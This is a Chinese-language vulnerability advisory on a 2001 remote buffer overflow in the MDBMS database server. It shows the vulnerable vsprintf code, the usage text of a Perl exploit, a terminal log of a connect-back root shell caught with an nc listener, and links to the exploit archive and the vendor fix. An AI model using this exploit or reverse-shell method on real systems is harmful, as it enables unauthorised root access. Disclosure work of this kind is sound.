MDBMS存在远程缓冲溢出漏洞发布时间:2001-06-14 更新时间:2001-06-14 严重程度:高 威胁程度:权限提升 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 MDBMS Version 0.99b9 和以前的版本详细描述 MDBMS是UNIX系统上的一个SQL数据库系统,其中在处理\s控制台命令时 存在缓冲溢出,当用户传递超大的缓冲以多行的形式传递服务器时,它们会 互相追加在一起,一个子调用代用\s命令时导致溢出。 下面是有错误的代码: (from interface.cc): void user::uprintf(char *s, ...) { char b[10000]; int len=strlen(outbuf), newlen; va_list ap; va_start(ap,s); vsprintf(b,s,ap); <---- va_end(ap); newlen=strlen(b); while (newlen+len+10>=outsize) outbuf=(char*)realloc(outbuf,outsize+=1000); strcat(outbuf,b); FD_SET(fd,&parent->wmask); } teleh0r@localhost mdbms]$ ./mdbms-pms.pl -- Remote code execution exploit - MDBMS <= 0.99b -- <teleh0r@digit-labs.org> - Copyright (c) 2001 Usage: ./mdbms-pms.pl -t <hostname> -b <back> -t <hostname> : hostname to test -b <back> : connect back to ip -p <port> : port (default: 2223) -d <delay> : delay before timeout -o <offset> : offset -h : return to heap [teleh0r@localhost mdbms]$ nc -l -v -p 1337 & [1] 2070 listening on [any] 1337 ... [teleh0r@localhost mdbms]$ ./mdbms-pms.pl -t 127.1 -b localhost -h -- Remote code execution exploit - MDBMS <= 0.99b -- <teleh0r@digit-labs.org> - Copyright (c) 2001 -> Connected to: 127.1 / MDBMS V0.99b9 ready. -> Address : 0x302027d / xor-mask: 0x2020202 -> Return : 0x80cfe76 / using the heap ... -> Sending payload: ... -> * Successfully sent payload - good luck! connect to [127.0.0.1] from localhost.localdomain [127.0.0.1] 1189 [teleh0r@localhost mdbms]$ % nc -l -v -p 1337 whoami; uname -mnrsp root Linux localhost.localdomain 2.4.2-2 i686 unknown ... 测试代码 测试代码可以在下面地址下载: http://archives.neohapsis.com/archives/bugtraq/2001-06/att-0156/01-mdbms.tar.gz 解决方案 关于缓冲的更多信息你可以咨询marty@hinttech.com. 他已经修补了问题,新的MDBMS程序可以在下面地址下载: http://www.hinttech.com/mdbms/ 相关信息 |